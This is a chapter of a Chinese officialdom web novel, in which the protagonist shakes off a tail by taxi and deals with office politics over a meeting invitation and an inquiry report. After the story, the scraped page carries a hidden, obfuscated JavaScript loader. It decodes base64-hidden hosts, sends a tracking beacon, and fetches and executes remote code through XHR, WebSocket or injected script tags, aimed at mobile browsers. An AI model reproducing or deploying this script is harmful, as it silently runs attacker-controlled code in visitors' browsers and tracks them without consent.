王思宇在喝了一瓶啤酒后,缓缓地从沙发上站起来,信步走出门口,他站到门边,低头系了根鞋带,起身后,就加快步伐,走到马路旁,挥手拦住一辆出租车,坐进车后,司机微笑着道:“去哪?”
王思宇把目光投向窗外,轻声道:“随意,只要你能把后面那辆本田甩掉。”
出租车司机看了眼倒视镜,低声道:“那得再加二十。”
“十五!”王思宇闭上眼睛,摇头侃价。
“二十!”“十五!”“二十!”
……
在激烈地争论声中,出租车缓缓启动,在大街上慢悠悠地开了十几分钟,车尾忽地喷出一股浓烟,就一头扎入旁边的小巷里,飞一般地逃走了。


第三卷 风起雾隐湖 第131章 幺蛾子
虽然那位出租车司机很狡猾,在大街小巷里钻来钻去,没用多久,就将后面那辆白色本田车甩开,但回到家以后,王思宇还是高兴不起来,因为他知道,自己被调往省委督查室的事情,青州很多人都知道,唐婉茹只要往青州市委办公室挂个电话,就能很轻易地查到自己的工作单位,那么接下来,即便自己再小心,迟早也会被人找到居住地址。
从晚上发生的事情不难发现,这个女人很麻烦,报复心理极强,性格中有种偏执的绝决,是种很危险的女人,如果被她无休止地纠缠下去,必将让自己的生活陷入窘境,现在看来,一定要尽快解决这件事情,不能再拖下去了。
第二天上午,王思宇坐在办公室里,给陈波涛拨了电话,“波涛,调查公司查的怎么样了?”
“哪有那么急的,这才几天啊,至少要半个月才能有结果。”陈波涛那边似乎很忙,在说完这句话后,匆匆挂了电话。
王思宇皱着眉头想了想,就觉得自己的情绪不对头,看来是被这件事情给干扰了,有些心浮气躁,这样可不正中了那女人的下怀?恐怕唐婉茹要的就是这个效果,想到这,王思宇端着茶杯走向窗前,极目远眺,过了一会,心态就渐趋平和,那份莫名的烦躁就消失得无影无踪了。
下午去了趟后楼,王思宇终于见到了那位闻名已久的焦大秘,焦南亭个子不高,但面色红润,穿着得体,年纪约莫能有三十几岁,眼睛里透着一股子过人的精明,在王思宇自报家门后,焦南亭脸上露出很自然的微笑,握着王思宇的手,轻声道:“早就听说督查室来了位年轻有为的副主任,很高兴见到你。”
他这句话就把王思宇最初的想法都给推翻了,甚至连那句感谢的话都没法说出口,焦大秘的态度是很明朗的,对于他做过的事情是坚决不认账的,这越发的让王思宇对这件事情狐疑起来,对方似乎是在刻意地隐瞒什么,但既然对方想装糊涂,王思宇也就只能陪着他一起装下去,对于焦南亭将自己运作到省委督查室的事情,王思宇也是只字不提。
在客套几句后,王思宇就说明了来意,焦南亭听后微微皱了皱眉头,他早已得知省委副秘书长王国峰即将外放的消息,因此也猜出了梁桂芝的真正意图,在心里不禁对这位省委办公厅的副主任就产生了些想法,这老女人似乎是精明得有些过了头,竟干出这种蠢事来,让王思宇来充当说客,分明是在耍小聪明,这要是让她轻易得逞,以后难保这女人不会蹬着鼻子上脸,提出更多的要求来,再说了,这种事情往来多了,下面自然会传出闲话来,不利于下一步操作,想到这,焦南亭就在脸上露出很为难地表情来,摊开双手道:“孟书记的日程安排一直都很紧张,十二月份的工作安排更是排得满满的,王主任,你看是不是这样,请梁主任亲自打份报告上来,把这个会议的重要性详细地说明下,然后我呈交给孟书记,你看这样好吧?”
王思宇隐约听出焦南亭语气中的不满意思,虽然有些感到有些可惜,但还是微笑着点点头,起身告别,焦南亭一直把王思宇送到门口,王思宇赶忙回头低声道:“焦大秘,请留步。”
对于焦南亭这个举动,王思宇心领神会,知道他针对的是梁桂芝,对自己是没有任何看法的,生怕自己误会,这才热情相送,不过梁桂芝那边看来是要失望了,这刚刚结束的冷战,恐怕又要开始了。
虽说焦秘书这话只代表他自己,无法代表孟书记,但由于秘书的工作性质特殊,他的话,有时候就代表了领导的话,而且在国内的政治生活中,有种很奇怪的现象,就是领导管全面,秘书全面管理领导,说出来有些骇人听闻,但仔细想想,领导的发言稿大半是秘书写的,领导的日程安排是秘书负责拟定的,领导如有疑难,最先征求的也是秘书的意见,更有甚者,领导的衣食住行都需要秘书来协助,很多时候,秘书都是领导手里的拐杖,有些领导对秘书的依赖性特别大,离开拐杖就不会走路了,曾经有位风云一时的省部级官员,就是因为最信赖的拐杖出了问题,因此处处受制,最后被政敌击败,落得个身败名裂的下场。
王思宇的担心是多余的,梁桂芝在听到王思宇的陈述之后,只是皱着眉头转动了几下签字笔,就明白了焦大秘的一些想法,对方这是在借机敲打自己,不要自作聪明,但他没有当场推辞,而是让自己再打份报告上去,就说明会议应该还是能够参加的,只是要让自己端正态度,想通了这一点,梁桂芝就没有太过失望的表情,而是在轻轻扶了扶眼镜后,面色温和地对王思宇道:“知道了,焦秘书说得很对,这件事情是我考虑的不够周到,责任在我,邀请省委主要领导同志来参加会议,确实应该由我亲自写出申请报告。”
观察到梁桂芝的反应,王思宇略一思量,也品出味道来了,看来焦大秘还是卖了这个人情,只是给梁桂芝发了个下不为例的信号,出了梁桂芝的办公室后,王思宇不禁暗自慨叹,在官场中行走,还真要会听弦外之音,有些话不仔细琢磨,往往领会不到对方的真实意图,语言本来就是一门艺术,在官场上,这门艺术更加被发挥得淋漓尽致。
接下来几天里,日子过得很平静,无波无浪,唐婉茹没有再发来骚扰短信,王思宇猜测,对方可能因为第一次的失败,变得谨慎起来,在没有绝对的胜算之前,不会再轻易出手了。
督察二科副科长朱良玉那边的调查顺风顺水,在周四的早上,就将全部材料交到王思宇的手里,王思宇在仔细阅读之后,就给玉州市市委书记方如镜的秘书何仲良打了电话,把案件的进展情况对他做了说明,何仲良先是对王思宇的通报表示感谢,随后委婉地表示,在东湖区的事情尚未完全结束时,别的事情尽量压一压,不要让事态扩大化,以免让省委主要领导因此对玉州市的领导班子的行政能力产生看法,至于皮校长和教育局的某些领导打击报复杨副校长的事情,他会亲自督促有关部门进行调查。
这和王思宇的想法不谋而合,当初将案件一分为二,就是不希望将事态进一步扩大,教育局中某些人和皮校长一起打击报复杨副校长的事情,可以交给市里自行处理,不必在报告中体现。
两人又聊了一会,何仲良就笑呵呵地道:“王兄,明天晚上有没有空,咱们聚聚?”
王思宇笑道:“没问题,你说地方,我请客。”
何仲良听后打了个哈哈,轻声道:“你就不要破费了,买单的人已经有了,你认识的。”
“我认识的?”王思宇皱皱眉头,在脑子里将在省城里认识的熟人都过了一遍,倒没想到能有谁会请何仲良吃饭,于是忍不住摸着鼻子笑道:“何大秘,你就别卖关子了,到底是谁啊?”
何仲良笑了笑,轻声道:“天机不可泄露,到时候你就知道了。”
“故弄玄虚!”王思宇微笑着挂断电话,轻声嘟囔一句,这件事,他倒没放在心上。
基调确立后,王思宇先和朱良玉打了招呼,在下午的工作协调会上,两人主导了会议的走向,教育局、学校、编委会、信访办、市政府办公室的领导各自承担了一部分责任,在会议即将结束的时候,王思宇讲了几句套话,希望各单位引以为戒,强化领导责任意识,做好信访突出问题及群众性事件的源头控制和妥善处理工作,及时排查和化解单位内部矛盾和纠纷,将矛盾纠纷在基层就地解决。
正当各单位领导笑眯眯地等待着一次和稀泥会议的结束时,王思宇的转头冲埋头做记录的一位工作人员道:“我现在说点题外话,这些不用做记录。”
那名工作人员赶忙放下笔,将手放在办公桌下,王思宇拿手弹了弹面前的麦克风,咳嗽一声道:“这件事情的发生给了我们很多的教训,首先,编委会那边,你们的责任重大,主要领导一定要加强业务学习,不要自行出台和上级文件精神相违背的规定,而信访办和某些部门的领导,更不要将普通的信访事件无限升级,上纲上线,毕竟不是所有人都清楚信访条例的,你们在没有耐心解释之前,就向教育部门施压,激化矛盾,这是极不负责任的,今后要尽量杜绝此类事件的发生。”
各部门领导赶忙微笑着鼓掌,不管怎么说,这件事情能够压下来,对各方都是好事,否则省委书记雷霆一怒,恐怕在座的几位领导都要乌纱不保。
会议结束以后,王思宇把参加会议的一位教育局副局长单独留下谈了十几分钟,那位副局长在从会议室出来后,赶忙一路小跑下了楼,上车后冲司机轻声道:“去中心医院,看看杨校长。”
周五的上午,王思宇将报告交给梁桂芝,梁桂芝看过报告后,很是满意,直接在上面写了几行字,就把报告放在一旁,随后笑眯眯地站起身来,拉开椅子,绕过办公桌,为王思宇沏了杯茶,亲自递过来,王思宇赶忙站起来接在手里,心中纳闷,暗想这今天的太阳怎么从西边出来了,这位梁主任对自己的态度似乎来了一百八十度的大转弯,今天演这出又是为了什么呢?
返回座位后,见王思宇微微皱眉,梁桂芝也感到有些尴尬,忙扶了扶眼镜道:“王主任,你来到督查室以来,我对你的关心一直很不够,在这点上,我要向你道歉,希望你能谅解。”
“哪里,主任太客气了。”王思宇面带微笑着将茶杯放在桌子上,事有反常必为妖,在没有搞清这位梁主任在耍什么幺蛾子前,这杯冒着热气的茶水,他是坚决不会喝的。
梁桂芝手里捏着一管签字笔,在缓缓转动两圈后,拿眼睛飞快地瞟了一下门口,随后压低声音道:“王主任,今天晚上有没有空,咱们聚聚?”



function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭